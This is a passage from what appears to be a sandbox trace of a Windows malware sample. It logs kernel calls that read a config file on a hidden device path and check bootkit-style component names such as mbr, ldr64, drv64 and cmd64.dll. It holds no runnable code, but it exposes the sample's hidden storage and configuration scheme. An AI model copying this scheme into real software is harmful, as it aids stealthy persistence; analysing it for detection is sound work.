MemoryDescriptorList=0xfffffa8003aab1d0) [0118.724] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.724] IdePortDispatch () returned 0x103 [0118.724] KeWaitForMutexObject () returned 0x0 [0118.724] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.724] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.724] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.724] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.724] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.724] IdePortDispatch () returned 0x103 [0118.725] KeWaitForMutexObject () returned 0x0 [0118.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.725] KeLeaveCriticalRegion () [0118.725] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.725] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.725] KeEnterCriticalRegion () [0118.725] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.725] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.725] KeLeaveCriticalRegion () [0118.726] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.726] KeEnterCriticalRegion () [0118.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.726] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.726] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c9ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.726] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.726] KeLeaveCriticalRegion () [0118.726] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.726] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.726] KeEnterCriticalRegion () [0118.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.726] ExFreePoolWithTag (P=0xfffffa8003ba0130, Tag=0x0) [0118.726] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.726] KeLeaveCriticalRegion () [0118.726] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.726] ReleaseMutex (hMutex=0xf0) returned 1 [0118.726] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.726] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.726] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.726] KeEnterCriticalRegion () [0118.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.726] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.726] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.726] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.726] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.726] IdePortDispatch () returned 0x103 [0118.727] KeWaitForMutexObject () returned 0x0 [0118.727] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.727] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.727] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.727] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.727] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.727] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ba1370 [0118.727] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.727] KeLeaveCriticalRegion () [0118.727] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.727] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.727] KeEnterCriticalRegion () [0118.727] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.727] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.727] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.727] KeLeaveCriticalRegion () [0118.727] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.727] KeEnterCriticalRegion () [0118.727] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.727] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.727] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.727] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.727] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.727] IdePortDispatch () returned 0x103 [0118.727] KeWaitForMutexObject () returned 0x0 [0118.728] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.728] KeLeaveCriticalRegion () [0118.728] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.728] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.728] KeEnterCriticalRegion () [0118.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.728] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c19000 [0118.728] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.728] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.728] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.728] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.728] IdePortDispatch () returned 0x103 [0118.728] KeWaitForMutexObject () returned 0x0 [0118.728] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.728] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.728] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.728] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.728] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.728] IdePortDispatch () returned 0x103 [0118.729] KeWaitForMutexObject () returned 0x0 [0118.729] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.729] KeLeaveCriticalRegion () [0118.729] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.729] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.729] KeEnterCriticalRegion () [0118.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.729] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.729] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.729] KeLeaveCriticalRegion () [0118.729] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.729] KeEnterCriticalRegion () [0118.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.729] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.730] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.730] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.730] KeLeaveCriticalRegion () [0118.730] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.730] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.730] KeEnterCriticalRegion () [0118.730] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.730] ExFreePoolWithTag (P=0xfffffa8003ba1370, Tag=0x0) [0118.730] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.730] KeLeaveCriticalRegion () [0118.730] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.730] ReleaseMutex (hMutex=0xf0) returned 1 [0118.730] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.730] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.730] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.730] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.730] KeEnterCriticalRegion () [0118.730] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.730] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.730] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.730] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.730] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.730] IdePortDispatch () returned 0x103 [0118.730] KeWaitForMutexObject () returned 0x0 [0118.730] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.731] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.731] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.731] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.731] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.731] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.731] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.731] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.731] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.731] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.731] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.731] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.731] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.731] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.731] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.731] KeLeaveCriticalRegion () [0118.731] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.731] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.731] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.731] KeEnterCriticalRegion () [0118.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.731] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.731] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.731] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.731] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.731] IdePortDispatch () returned 0x103 [0118.731] KeWaitForMutexObject () returned 0x0 [0118.732] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.732] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.732] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.732] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.732] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.732] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.732] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.732] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.732] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.732] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.732] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.732] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.732] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.732] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.732] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.732] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.732] KeLeaveCriticalRegion () [0118.732] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.732] ReleaseMutex (hMutex=0x100) returned 1 [0118.732] Sleep (dwMilliseconds=0x2bf20) [0118.741] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69f97a50, dwHighDateTime=0x1d24fa4)) [0118.741] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.741] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.741] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.741] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.741] KeEnterCriticalRegion () [0118.741] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.741] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.741] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.741] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.741] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.741] IdePortDispatch () returned 0x103 [0118.741] KeWaitForMutexObject () returned 0x0 [0118.741] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.742] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.742] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.742] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.742] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.742] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d9010 [0118.742] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.742] KeLeaveCriticalRegion () [0118.742] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.742] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.742] KeEnterCriticalRegion () [0118.742] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.742] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.742] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.742] KeLeaveCriticalRegion () [0118.742] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.742] KeEnterCriticalRegion () [0118.742] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.742] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.742] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.742] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.742] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.742] IdePortDispatch () returned 0x103 [0118.742] KeWaitForMutexObject () returned 0x0 [0118.742] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.742] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.742] KeLeaveCriticalRegion () [0118.742] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.743] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.743] KeEnterCriticalRegion () [0118.743] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.743] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c1c000 [0118.743] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.743] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.743] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.743] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.743] IdePortDispatch () returned 0x103 [0118.743] KeWaitForMutexObject () returned 0x0 [0118.743] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.743] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.743] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.743] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.743] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.743] IdePortDispatch () returned 0x103 [0118.744] KeWaitForMutexObject () returned 0x0 [0118.744] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.744] KeLeaveCriticalRegion () [0118.744] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.744] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.744] KeEnterCriticalRegion () [0118.744] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.744] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.744] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.744] KeLeaveCriticalRegion () [0118.744] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.744] KeEnterCriticalRegion () [0118.744] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.744] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.744] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.745] KeLeaveCriticalRegion () [0118.745] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.745] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.745] KeEnterCriticalRegion () [0118.745] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.745] ExFreePoolWithTag (P=0xfffffa80039d9010, Tag=0x0) [0118.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.745] KeLeaveCriticalRegion () [0118.745] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.745] ReleaseMutex (hMutex=0xf0) returned 1 [0118.745] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.745] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.745] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.745] KeEnterCriticalRegion () [0118.745] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.745] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.745] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.745] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.745] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.745] IdePortDispatch () returned 0x103 [0118.745] KeWaitForMutexObject () returned 0x0 [0118.745] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.745] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.745] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.746] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", 